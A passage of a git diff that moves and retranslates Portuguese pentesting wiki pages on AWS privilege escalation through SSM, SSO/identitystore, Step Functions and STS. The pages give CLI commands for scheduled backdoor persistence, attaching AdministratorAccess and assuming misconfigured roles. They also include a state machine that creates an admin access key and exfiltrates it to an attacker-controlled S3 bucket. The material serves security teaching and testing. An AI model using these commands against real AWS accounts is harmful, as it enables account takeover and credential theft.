+aws ssm list-commands
+```
+**Impacto Potencial:** Encontrar informações sensíveis dentro das linhas de comando.
+
+### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
+
+Um atacante com essas permissões pode listar todos os **commands** enviados e **read the output** gerado, esperando encontrar **informações sensíveis** nele.
+```bash
+# You can use any of both options to get the command-id and instance id
+aws ssm list-commands
+aws ssm list-command-invocations
+
+aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
+```
+**Impacto Potencial:** Encontrar informações sensíveis na saída das linhas de comando.
+
+### Usando ssm:CreateAssociation
+
+Um atacante com a permissão **`ssm:CreateAssociation`** pode criar uma State Manager Association para executar comandos automaticamente em instâncias EC2 gerenciadas pelo SSM. Essas associações podem ser configuradas para serem executadas em intervalos fixos, tornando-as adequadas para persistência tipo backdoor sem sessões interativas.
+```bash
+aws ssm create-association \
+--name SSM-Document-Name \
+--targets Key=InstanceIds,Values=target-instance-id \
+--parameters commands=["malicious-command"] \
+--schedule-expression "rate(30 minutes)" \
+--association-name association-name
+```
+> [!NOTE]
+> Este método de persistência funciona enquanto a instância EC2 for gerida pelo Systems Manager, o agente SSM estiver em execução, e o atacante tiver permissão para criar associations. Não requer sessões interativas nem permissões explícitas ssm:SendCommand. **Importante:** O parâmetro `--schedule-expression` (por exemplo, `rate(30 minutes)`) deve respeitar o intervalo mínimo da AWS de 30 minutos. Para execução imediata ou única, omita completamente `--schedule-expression` — a association será executada uma vez após a criação.
+
+### Codebuild
+
+Você também pode usar o SSM para obter acesso a um projeto codebuild durante a sua construção:
+
+{{#ref}}
+../aws-codebuild-privesc/README.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md
similarity index 58%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md
index b26031713..5069f4edd 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md
@@ -1,33 +1,33 @@
 # AWS - SSO & identitystore Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## AWS Identity Center / AWS SSO
 
-Para mais informações sobre AWS Identity Center / AWS SSO, consulte:
+Para mais informações sobre AWS Identity Center / AWS SSO consulte:
 
 {{#ref}}
-../aws-services/aws-iam-enum.md
+../../aws-services/aws-iam-enum.md
 {{#endref}}
 
 > [!WARNING]
-> Note que por **padrão**, apenas **usuários** com permissões **da** **Conta de Gerenciamento** poderão acessar e **controlar o IAM Identity Center**.\
-> Usuários de outras contas só podem permitir isso se a conta for um **Administrador Delegado.**\
-> [Verifique a documentação para mais informações.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html)
+> Observe que por **padrão**, somente **usuários** com permissões do **Management Account** poderão acessar e **controlar o IAM Identity Center**.\
+> Usuários de outras contas só podem fazê-lo se a conta for um **Delegated Administrator.**\
+> [Check the docs for more info.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html)
 
-### ~~Redefinir Senha~~
+### ~~Reset Password~~
 
-Uma maneira fácil de escalar privilégios em casos como este seria ter uma permissão que permita redefinir as senhas dos usuários. Infelizmente, só é possível enviar um e-mail ao usuário para redefinir sua senha, então você precisaria de acesso ao e-mail dos usuários.
+Uma maneira fácil de escalate privileges em casos como este seria ter uma permissão que permita redefinir as senhas dos usuários. Infelizmente, só é possível enviar um e-mail ao usuário para redefinir sua senha, então você precisaria de acesso ao e-mail do usuário.
 
 ### `identitystore:CreateGroupMembership`
 
-Com essa permissão, é possível colocar um usuário dentro de um grupo para que ele herde todas as permissões que o grupo possui.
+Com essa permissão é possível colocar um usuário dentro de um grupo para que ele herde todas as permissões que o grupo possui.
 ```bash
 aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>
 ```
 ### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet`
 
-Um atacante com essa permissão poderia conceder permissões extras a um Permission Set que é concedido a um usuário sob seu controle.
+Um atacante com essa permissão poderia conceder permissões adicionais a um Permission Set que é atribuído a um usuário sob seu controle
 ```bash
 # Set an inline policy with admin privileges
 aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml
@@ -50,7 +50,7 @@ aws sso-admin provision-permission-set --instance-arn <instance-arn> --permissio
 ```
 ### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet`
 
-Um atacante com essa permissão poderia conceder permissões adicionais a um Conjunto de Permissões que é concedido a um usuário sob seu controle.
+Um atacante com essa permissão poderia conceder permissões extras a um Permission Set que esteja sob o controle de um usuário.
 ```bash
 # Set AdministratorAccess policy to the permission set
 aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
@@ -60,10 +60,10 @@ aws sso-admin provision-permission-set --instance-arn <instance-arn> --permissio
 ```
 ### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet`
 
-Um atacante com essa permissão poderia conceder permissões extras a um Conjunto de Permissões que é concedido a um usuário sob seu controle.
+Um atacante com essa permissão poderia conceder permissões adicionais a um Permission Set que é concedido a um usuário sob seu controle.
 
 > [!WARNING]
-> Para abusar dessas permissões neste caso, você precisa saber o **nome de uma política gerenciada pelo cliente que está dentro de TODAS as contas** que serão afetadas.
+> Para abusar dessas permissões neste caso você precisa saber o **nome de uma customer managed policy que esteja dentro de TODAS as contas** que serão afetadas.
 ```bash
 # Set AdministratorAccess policy to the permission set
 aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>
@@ -73,40 +73,40 @@ aws sso-admin provision-permission-set --instance-arn <instance-arn> --permissio
 ```
 ### `sso:CreateAccountAssignment`
 
-Um atacante com essa permissão poderia atribuir um Conjunto de Permissões a um usuário sob seu controle em uma conta.
+Um atacante com essa permissão poderia atribuir um Permission Set a um usuário sob seu controle em uma conta.
 ```bash
 aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>
 ```
 ### `sso:GetRoleCredentials`
 
-Retorna as credenciais de curto prazo do STS para um nome de função específico que está atribuído ao usuário.
+Retorna as credenciais STS de curto prazo para um dado nome de role que é atribuído ao usuário.
 ```
 aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>
 ```
-No entanto, você precisa de um token de acesso que não sei como obter (TODO).
+No entanto, você precisa de um access token que não sei como obter (TODO).
 
 ### `sso:DetachManagedPolicyFromPermissionSet`
 
-Um atacante com essa permissão pode remover a associação entre uma política gerenciada da AWS e o conjunto de permissões especificado. É possível conceder mais privilégios através da **desvinculação de uma política gerenciada (política de negação)**.
+Um atacante com essa permissão pode remover a associação de uma AWS managed policy ao permission set especificado. É possível conceder mais privilégios via **detaching a managed policy (deny policy)**.
 ```bash
 aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>
 ```
 ### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet`
 
-Um atacante com essa permissão pode remover a associação entre uma política gerenciada pelo cliente e o conjunto de permissões especificado. É possível conceder mais privilégios através da **desvinculação de uma política gerenciada (política de negação)**.
+Um atacante com essa permissão pode remover a associação entre uma política gerenciada pelo cliente e o conjunto de permissões especificado. É possível conceder mais privilégios por meio de **desanexar uma política gerenciada (política de negação)**.
 ```bash
 aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
 ```
 ### `sso:DeleteInlinePolicyFromPermissionSet`
 
-Um atacante com esta permissão pode remover as permissões de uma política inline do conjunto de permissões. É possível conceder **mais privilégios ao desanexar uma política inline (política de negação)**.
+Um atacante com esta permissão pode remover as permissões de uma inline policy do permission set. É possível conceder **mais privilégios ao desanexar uma inline policy (deny policy)**.
 ```bash
 aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
 ```
 ### `sso:DeletePermissionBoundaryFromPermissionSet`
 
-Um atacante com esta permissão pode remover o Limite de Permissão do conjunto de permissões. É possível conceder **mais privilégios ao remover as restrições do Conjunto de Permissões** dadas pelo Limite de Permissão.
+Um atacante com essa permissão pode remover o Permission Boundary do Permission Set. É possível conceder **mais privilégios removendo as restrições no Permission Set** impostas pelo Permission Boundary.
 ```bash
 aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md
similarity index 54%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md
index 13dc0b514..6ed03b03d 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md
@@ -1,35 +1,35 @@
 # AWS - Step Functions Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Step Functions
 
 Para mais informações sobre este serviço AWS, consulte:
 
 {{#ref}}
-../aws-services/aws-stepfunctions-enum.md
+../../aws-services/aws-stepfunctions-enum.md
 {{#endref}}
 
-### Recursos de Tarefa
+### Recursos de Task
 
-Essas técnicas de escalonamento de privilégios vão exigir o uso de alguns recursos de função de passo da AWS para realizar as ações de escalonamento de privilégios desejadas.
+Estas privilege escalation techniques vão requerer o uso de alguns AWS step function resources para executar as ações de privilege escalation desejadas.
 
-Para verificar todas as ações possíveis, você pode ir à sua própria conta AWS, selecionar a ação que gostaria de usar e ver os parâmetros que está utilizando, como em:
+Para verificar todas as ações possíveis, você pode acessar sua própria conta AWS, selecionar a ação que deseja usar e ver os parâmetros que ela está usando, como em:
 
 <figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>
 
-Ou você também pode ir à documentação da API AWS e verificar a documentação de cada ação:
+Ou você também pode consultar a documentação da API AWS e verificar a documentação de cada ação:
 
 - [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
 - [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)
 
 ### `states:TestState` & `iam:PassRole`
 
-Um atacante com as permissões **`states:TestState`** e **`iam:PassRole`** pode testar qualquer estado e passar qualquer função IAM para ele sem criar ou atualizar uma máquina de estado existente, potencialmente permitindo acesso não autorizado a outros serviços AWS com as permissões da função. Combinadas, essas permissões podem levar a ações não autorizadas extensas, desde manipulação de fluxos de trabalho para alterar dados até vazamentos de dados, manipulação de recursos e escalonamento de privilégios.
+Um atacante com as permissões **`states:TestState`** e **`iam:PassRole`** pode testar qualquer state e passar qualquer IAM role para ele sem criar ou atualizar uma state machine existente, potencialmente permitindo acesso não autorizado a outros serviços AWS com as permissões dessas roles. Combinadas, essas permissões podem levar a ações não autorizadas extensas, desde manipulação de workflows até alteração de dados, vazamentos de dados, manipulação de recursos e privilege escalation.
 ```bash
 aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
 ```
-Os seguintes exemplos mostram como testar um estado que cria uma chave de acesso para o **`admin`** usuário aproveitando essas permissões e um papel permissivo do ambiente AWS. Este papel permissivo deve ter qualquer política de alto privilégio associada a ele (por exemplo, **`arn:aws:iam::aws:policy/AdministratorAccess`**) que permite que o estado execute a ação **`iam:CreateAccessKey`**:
+Os exemplos a seguir mostram como testar um estado que cria uma chave de acesso para o usuário **`admin`**, aproveitando essas permissões e um role permissivo do ambiente AWS. Esse role permissivo deve ter alguma policy de alto privilégio associada a ele (por exemplo **`arn:aws:iam::aws:policy/AdministratorAccess`**) que permita que o state execute a ação **`iam:CreateAccessKey`**:
 
 - **stateDefinition.json**:
 ```json
@@ -42,7 +42,7 @@ Os seguintes exemplos mostram como testar um estado que cria uma chave de acesso
 "End": true
 }
 ```
-- **Comando** executado para realizar o privesc:
+- **Comando** executado para realizar a privesc:
 ```bash
 aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
 
@@ -59,11 +59,11 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn
 "status": "SUCCEEDED"
 }
 ```
-**Impacto Potencial**: Execução e manipulação não autorizadas de fluxos de trabalho e acesso a recursos sensíveis, potencialmente levando a violações de segurança significativas.
+**Impacto Potencial**: Execução e manipulação não autorizada de workflows e acesso a recursos sensíveis, potencialmente levando a violações de segurança significativas.
 
 ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
 
-Um atacante com **`states:CreateStateMachine`** & **`iam:PassRole`** seria capaz de criar uma máquina de estados e fornecer a ela qualquer função IAM, permitindo acesso não autorizado a outros serviços AWS com as permissões da função. Em contraste com a técnica de elevação de privilégios anterior (**`states:TestState`** & **`iam:PassRole`**), esta não se executa por si só, você também precisará ter as permissões **`states:StartExecution`** ou **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **não está disponível para fluxos de trabalho padrão**, **apenas para máquinas de estados expressas**) para iniciar uma execução sobre a máquina de estados.
+Um atacante com **`states:CreateStateMachine`** e **`iam:PassRole`** seria capaz de criar uma state machine e atribuir a ela qualquer IAM role, permitindo acesso não autorizado a outros serviços AWS com as permissões da role. Em contraste com a técnica de privesc anterior (**`states:TestState`** & **`iam:PassRole`**), esta não executa por si só — você também precisará das permissões **`states:StartExecution`** ou **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **não está disponível para standard workflows**, **apenas para express state machines**) para iniciar uma execução na state machine.
 ```bash
 # Create a state machine
 aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
@@ -75,7 +75,7 @@ aws states start-execution --state-machine-arn <value> [--name <value>] [--input
 # Start a Synchronous Express state machine execution
 aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
 ```
-Os seguintes exemplos mostram como criar uma máquina de estados que cria uma chave de acesso para o **`admin`** e exfiltra essa chave de acesso para um bucket S3 controlado pelo atacante, aproveitando essas permissões e um papel permissivo do ambiente AWS. Esse papel permissivo deve ter qualquer política de alto privilégio associada a ele (por exemplo, **`arn:aws:iam::aws:policy/AdministratorAccess`**) que permite que a máquina de estados execute as ações **`iam:CreateAccessKey`** e **`s3:putObject`**.
+Os exemplos a seguir mostram como criar uma state machine que cria um access key para o usuário **`admin`** e exfiltra esse access key para um bucket S3 controlado pelo atacante, aproveitando essas permissões e um role permissivo do ambiente AWS. Esse role permissivo deve ter qualquer policy de alto privilégio associada (por exemplo **`arn:aws:iam::aws:policy/AdministratorAccess`**) que permita à state machine executar as ações **`iam:CreateAccessKey`** & **`s3:putObject`**.
 
 - **stateMachineDefinition.json**:
 ```json
@@ -132,26 +132,26 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
 }
 ```
 > [!WARNING]
-> O bucket S3 controlado pelo atacante deve ter permissões para aceitar uma ação s3:PutObject da conta da vítima.
+> O bucket S3 controlado pelo atacante deve ter permissões para aceitar uma ação `s3:PutObject` da conta da vítima.
 
-**Impacto Potencial**: Execução não autorizada e manipulação de fluxos de trabalho e acesso a recursos sensíveis, potencialmente levando a brechas de segurança significativas.
+**Impacto Potencial**: Execução e manipulação não autorizadas de workflows e acesso a recursos sensíveis, potencialmente levando a violações de segurança significativas.
 
-### `states:UpdateStateMachine` & (não sempre necessário) `iam:PassRole`
+### `states:UpdateStateMachine` & (nem sempre necessário) `iam:PassRole`
 
-Um atacante com a permissão **`states:UpdateStateMachine`** seria capaz de modificar a definição de uma máquina de estados, podendo adicionar estados extras furtivos que poderiam resultar em uma escalada de privilégios. Dessa forma, quando um usuário legítimo inicia uma execução da máquina de estados, este novo estado furtivo malicioso será executado e a escalada de privilégios será bem-sucedida.
+Um atacante com a permissão **`states:UpdateStateMachine`** seria capaz de modificar a definição de uma máquina de estados, podendo adicionar estados furtivos adicionais que poderiam resultar em uma escalada de privilégios. Dessa forma, quando um usuário legítimo iniciar uma execução da máquina de estados, esse novo estado furtivo malicioso será executado e a escalada de privilégios será bem-sucedida.
 
-Dependendo de quão permissivo é o IAM Role associado à máquina de estados, um atacante enfrentaria 2 situações:
+Dependendo de quão permissiva é a IAM Role associada à máquina de estados, um atacante enfrentaria 2 situações:
 
-1. **IAM Role Permissivo**: Se o IAM Role associado à máquina de estados já for permissivo (ele tem, por exemplo, a política **`arn:aws:iam::aws:policy/AdministratorAccess`** anexada), então a permissão **`iam:PassRole`** não seria necessária para escalar privilégios, uma vez que não seria necessário atualizar o IAM Role, com a definição da máquina de estados é suficiente.
-2. **IAM Role Não Permissivo**: Em contraste com o caso anterior, aqui um atacante também precisaria da permissão **`iam:PassRole`** uma vez que seria necessário associar um IAM Role permissivo à máquina de estados além de modificar a definição da máquina de estados.
+1. **Permissive IAM Role**: Se a IAM Role associada à máquina de estados já for permissiva (por exemplo, se tiver anexada a policy **`arn:aws:iam::aws:policy/AdministratorAccess`**), então a permissão **`iam:PassRole`** não seria necessária para escalar privilégios, já que não seria preciso também atualizar a IAM Role — a definição da máquina de estados é suficiente.
+2. **Not permissive IAM Role**: Em contraste com o caso anterior, aqui o atacante também exigiria a permissão **`iam:PassRole`**, pois seria necessário associar uma IAM Role permissiva à máquina de estados além de modificar a definição da máquina de estados.
 ```bash
 aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
 [--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
 ```
-Os seguintes exemplos mostram como atualizar uma máquina de estados legítima que apenas invoca uma função Lambda HelloWorld, a fim de adicionar um estado extra que adiciona o usuário **`unprivilegedUser`** ao grupo IAM **`administrator`**. Dessa forma, quando um usuário legítimo inicia uma execução da máquina de estados atualizada, este novo estado malicioso e furtivo será executado e a escalada de privilégios será bem-sucedida.
+Os exemplos a seguir mostram como atualizar uma state machine legítima que apenas invoca uma HelloWorld Lambda function, a fim de adicionar um estado extra que adiciona o usuário **`unprivilegedUser`** ao Grupo IAM **`administrator`**. Dessa forma, quando um usuário legítimo iniciar uma execução da state machine atualizada, esse novo estado malicioso e furtivo será executado e a escalada de privilégios será bem-sucedida.
 
 > [!WARNING]
-> Se a máquina de estados não tiver um papel IAM permissivo associado, também seria necessário a permissão **`iam:PassRole`** para atualizar o papel IAM a fim de associar um papel IAM permissivo (por exemplo, um com a política **`arn:aws:iam::aws:policy/AdministratorAccess`** anexada).
+> Se a state machine não tiver um IAM Role permissivo associado, também será necessária a permissão **`iam:PassRole`** para atualizar o IAM Role, a fim de associar um IAM Role permissivo (por exemplo, um com a política **`arn:aws:iam::aws:policy/AdministratorAccess`** anexada).
 
 {{#tabs }}
 {{#tab name="Legit State Machine" }}
@@ -181,7 +181,7 @@ Os seguintes exemplos mostram como atualizar uma máquina de estados legítima q
 ```
 {{#endtab }}
 
-{{#tab name="Máquina de Estado Atualizada Maliciosa" }}
+{{#tab name="Malicious Updated State Machine" }}
 ```json
 {
 "Comment": "Hello world from Lambda state machine",
@@ -218,7 +218,7 @@ Os seguintes exemplos mostram como atualizar uma máquina de estados legítima q
 {{#endtab }}
 {{#endtabs }}
 
-- **Comando** executado para **atualizar** **a máquina de estados legítima**:
+- **Comando** executado para **atualizar** **a state machine legítima**:
 ```bash
 aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
 {
@@ -228,4 +228,4 @@ aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-eas
 ```
 **Impacto Potencial**: Execução e manipulação não autorizadas de fluxos de trabalho e acesso a recursos sensíveis, potencialmente levando a violações de segurança significativas.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
deleted file mode 100644
index 63bd23b43..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
+++ /dev/null
@@ -1,136 +0,0 @@
-# AWS - STS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## STS
-
-### `sts:AssumeRole`
-
-Cada função é criada com uma **política de confiança da função**, essa política indica **quem pode assumir a função criada**. Se uma função da **mesma conta** declara que uma conta pode assumi-la, isso significa que a conta poderá acessar a função (e potencialmente **privesc**).
-
-Por exemplo, a seguinte política de confiança da função indica que qualquer um pode assumi-la, portanto **qualquer usuário poderá privesc** às permissões associadas a essa função.
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": "sts:AssumeRole"
-}
-]
-}
-```
-Você pode assumir uma role executando:
-```bash
-aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname
-```
-**Impacto Potencial:** Privesc para a role.
-
-> [!CAUTION]
-> Note that in this case the permission `sts:AssumeRole` needs to be **indicated in the role to abuse** and not in a policy belonging to the attacker.\
-> With one exception, in order to **assume a role from a different account** the attacker account **also needs** to have the **`sts:AssumeRole`** over the role.
-
-
-### `sts:AssumeRoleWithSAML`
-
-Uma trust policy com essa role concede **a usuários autenticados via SAML o acesso para assumir a role.**
-
-Um exemplo de uma trust policy com essa permissão é:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "OneLogin",
-"Effect": "Allow",
-"Principal": {
-"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin"
-},
-"Action": "sts:AssumeRoleWithSAML",
-"Condition": {
-"StringEquals": {
-"SAML:aud": "https://signin.aws.amazon.com/saml"
-}
-}
-}
-]
-}
-```
-Para gerar credenciais para se passar pelo role, em geral você pode usar algo como:
-```bash
-aws sts  assume-role-with-saml --role-arn <value> --principal-arn <value>
-```
-Mas **provedores** podem ter suas **próprias ferramentas** para tornar isso mais fácil, como [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role):
-```bash
-onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600
-```
-**Impacto Potencial:** Privesc para a role.
-
-### `sts:AssumeRoleWithWebIdentity`
-
-Essa permissão permite obter um conjunto de credenciais de segurança temporárias para **usuários que foram autenticados em um aplicativo móvel, web, EKS...** com um provedor de identidade web. [Saiba mais aqui.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)
-
-Por exemplo, se uma **EKS service account** deveria poder **impersonar um IAM role**, ela terá um token em **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** e pode **assumir o role e obter credenciais** fazendo algo como:
-```bash
-aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/<role_name> --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
-# The role name can be found in the metadata of the configuration of the pod
-```
-### Federation Abuse
-
-{{#ref}}
-../aws-basic-information/aws-federation-abuse.md
-{{#endref}}
-
-### IAM Roles Anywhere Privesc
-
-O AWS IAM Roles Anywhere permite que workloads fora da AWS assumam IAM roles usando certificados X.509. Mas quando as trust policies não estão devidamente limitadas, elas podem ser abusadas para escalonamento de privilégios.
-
-Para entender este ataque, é necessário explicar o que é um trust anchor. Um trust anchor no AWS IAM Roles Anywhere é a entidade raiz de confiança; ele contém o certificado público de uma Certificate Authority (CA) registrada na conta para que a AWS possa validar os certificados X.509 apresentados. Dessa forma, se o certificado do cliente foi emitido por essa CA e o trust anchor estiver ativo, a AWS o reconhece como válido.
-
-Além disso, um profile é a configuração que define quais atributos do certificado X.509 (como CN, OU ou SAN) serão transformados em session tags, e essas tags serão comparadas posteriormente com as condições da trust policy.
-
-Essa policy não possui restrições sobre quais trust anchor ou atributos do certificado são permitidos. Como resultado, qualquer certificado vinculado a qualquer trust anchor na conta pode ser usado para assumir esse role.
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"Service": "rolesanywhere.amazonaws.com"
-},
-"Action": [
-"sts:AssumeRole",
-"sts:SetSourceIdentity",
-"sts:TagSession"
-]
-}
-]
-}
-
-```
-Para privesc, o `aws_signing_helper` é necessário a partir de https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html
-
-Então, usando um certificado válido, o atacante pode pivotar para o role de maior privilégio.
-```bash
-aws_signing_helper credential-process \
---certificate readonly.pem \
---private-key readonly.key \
---trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
---profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
---role-arn arn:aws:iam::123456789012:role/Admin
-```
-A âncora de confiança valida que o certificado `readonly.pem` do cliente vem da sua CA autorizada, e dentro desse certificado `readonly.pem` está a chave pública que a AWS usa para verificar que a assinatura foi feita com a sua chave privada correspondente `readonly.key`.
-
-O certificado também fornece atributos (como CN ou OU) que o perfil `default` transforma em tags, que a política de confiança da role pode usar para decidir se autoriza o acesso. Se não houver condições na política de confiança, essas tags não têm utilidade, e o acesso é concedido a qualquer pessoa com um certificado válido.
-
-Para que este ataque seja possível, tanto a âncora de confiança quanto o perfil `default` devem estar ativos.
-
-### Referências
-
-- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md
new file mode 100644
index 000000000..064f355b6
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md
@@ -0,0 +1,136 @@
+# AWS - STS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## STS
+
+### `sts:AssumeRole`
+
+Cada role é criado com uma **política de confiança da role**, essa política indica **quem pode assumir a role criada**. Se uma role da **mesma conta** indicar que uma conta pode assumi-la, isso significa que a conta poderá acessar a role (e potencialmente **privesc**).
+
+Por exemplo, a seguinte política de confiança da role indica que qualquer pessoa pode assumi-la, portanto **qualquer usuário poderá privesc** para as permissões associadas a essa role.
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "sts:AssumeRole"
+}
+]
+}
+```
+Você pode se passar por uma role executando:
+```bash
+aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname
+```
+**Impacto Potencial:** Privesc para o role.
+
+> [!CAUTION]
+> Note que neste caso a permissão `sts:AssumeRole` precisa estar **indicada no role a ser abusado** e não em uma policy pertencente ao atacante.\
+> Com uma exceção, para **assumir um role de uma conta diferente** a conta do atacante **também precisa** ter o **`sts:AssumeRole`** sobre o role.
+
+
+### `sts:AssumeRoleWithSAML`
+
+Uma trust policy com este role concede **a usuários autenticados via SAML acesso para impersonar o role.**
+
+Um exemplo de uma trust policy com essa permissão é:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "OneLogin",
+"Effect": "Allow",
+"Principal": {
+"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin"
+},
+"Action": "sts:AssumeRoleWithSAML",
+"Condition": {
+"StringEquals": {
+"SAML:aud": "https://signin.aws.amazon.com/saml"
+}
+}
+}
+]
+}
+```
+Para gerar credenciais para impersonar a role, em geral você pode usar algo como:
+```bash
+aws sts  assume-role-with-saml --role-arn <value> --principal-arn <value>
+```
+Mas os **provedores** podem ter suas **próprias ferramentas** para facilitar isso, como [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role):
+```bash
+onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600
+```
+**Impacto Potencial:** Privesc to the role.
+
+### `sts:AssumeRoleWithWebIdentity`
+
+Esta permissão permite obter um conjunto de credenciais de segurança temporárias para **usuários que foram autenticados em um aplicativo móvel, web, EKS...** com um provedor de identidade web. [Learn more here.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)
+
+Por exemplo, se uma **EKS service account** deveria poder **se passar por um IAM role**, ela terá um token em **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** e pode **assumir o role e obter credenciais** fazendo algo como:
+```bash
